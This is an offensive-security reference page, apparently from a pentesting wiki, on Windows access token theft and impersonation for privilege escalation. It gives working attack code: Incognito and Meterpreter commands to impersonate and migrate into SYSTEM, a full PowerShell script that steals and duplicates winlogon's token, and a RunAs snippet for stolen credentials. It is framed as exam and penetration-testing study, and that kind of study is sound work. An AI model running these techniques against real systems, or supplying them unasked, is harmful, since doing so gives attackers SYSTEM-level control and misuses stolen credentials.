# Windows Access Token Manipulation for Privilege Escalation

> Covers Windows access token manipulation techniques including token impersonation, theft, and creation to escalate privileges within Active Directory and local environments.

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/access-token-manipulation
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-07-10

Every Windows process has an access token that defines its security context: user identity, group memberships, and privileges. With the right privileges, you can steal a token from a privileged process and impersonate it. This is the mechanism underlying all Potato attacks, but it can also be done manually or with tools like Incognito when you already have a moderate-privilege shell.

## Prerequisites Check

You need at least one of these privileges to steal tokens:

```bash
whoami /priv
```

- `SeDebugPrivilege`: attach to any process and steal its token
- `SeImpersonatePrivilege`: impersonate a token after stealing it (covered in [https://hackindex.io/platforms/windows/privilege-escalation/token-impersonation-seimpersonateprivilege-exploitation](https://hackindex.io/platforms/windows/privilege-escalation/token-impersonation-seimpersonateprivilege-exploitation))
- `SeAssignPrimaryTokenPrivilege`: assign a token as the primary token of a process

`SeDebugPrivilege` is the most powerful: it allows attaching to LSASS and other SYSTEM processes.

## Incognito: Token Listing and Impersonation

Incognito (originally standalone, now a Meterpreter extension) lists available tokens and impersonates them:

**Via Meterpreter:**

> [!WARNING]
> This may be restricted in exams such as OSCP. Meterpreter is restricted to one machine per exam. The standalone `incognito.exe` approach shown below needs no Meterpreter and stays allowed.

```bash
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
shell
```

**Standalone incognito.exe:**

```bash
# List all available tokens
.\incognito.exe list_tokens -u

# Impersonate a token and execute a command
.\incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
```

Download: [https://github.com/FSecureLABS/incognito](https://github.com/FSecureLABS/incognito)

## Token Stealing via PowerShell

With `SeDebugPrivilege` enabled:

```powershell
# Enable SeDebugPrivilege
$code = @"
using System;
using System.Runtime.InteropServices;

public class TokenStealer {
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);

    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess,
        IntPtr lpTokenAttributes, int ImpersonationLevel, int TokenType, out IntPtr phNewToken);

    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);

    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
}
"@
Add-Type -TypeDefinition $code

# Find a SYSTEM process
$systemProc = Get-Process -Name "winlogon" | Select-Object -First 1
$procHandle = [TokenStealer]::OpenProcess(0x1F0FFF, $false, $systemProc.Id)

# Open its token
$tokenHandle = [IntPtr]::Zero
[TokenStealer]::OpenProcessToken($procHandle, 0x0002, [ref]$tokenHandle)

# Duplicate the token
$dupToken = [IntPtr]::Zero
[TokenStealer]::DuplicateTokenEx($tokenHandle, 0xF01FF, [IntPtr]::Zero, 2, 1, [ref]$dupToken)

# Impersonate
[TokenStealer]::ImpersonateLoggedOnUser($dupToken)

# Verify
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
```

## Token Impersonation via Process Injection

If you have `SeDebugPrivilege`, migrate into a SYSTEM process:

**Via Meterpreter:**

```bash
ps
# Find a SYSTEM process (e.g., winlogon.exe PID 680)
migrate 680
getuid
# Server username: NT AUTHORITY\SYSTEM
```

**Via CreateRemoteThread (manual):**

Inject shellcode into a SYSTEM process to hijack its security context. This is complex: use Meterpreter migration or Incognito in practice.

## Token Manipulation via RunAs with Stolen Credentials

If you have captured plaintext credentials for a privileged user through credential hunting:

```powershell
$password = ConvertTo-SecureString "FOUNDPASSWORD" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\Administrator", $password)
Start-Process cmd.exe -Credential $cred
```

## Checking Available Tokens

Before attempting impersonation, enumerate what tokens are available in the current session:

```powershell
# List all processes and their owners
Get-Process | Select-Object Name, Id, @{N="Owner";E={(Get-WmiObject Win32_Process -Filter "ProcessId=$($_.Id)").GetOwner().User}}
```

Look for SYSTEM processes you can attach to. `winlogon.exe`, `services.exe`, and `lsass.exe` always run as SYSTEM.

Related

## References

- [Incognito](https://github.com/FSecureLABS/incognito) - FSecureLABS Token listing and impersonation tool.
- [Access Tokens](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens) - Microsoft Docs Token structure, impersonation levels, and privilege constants.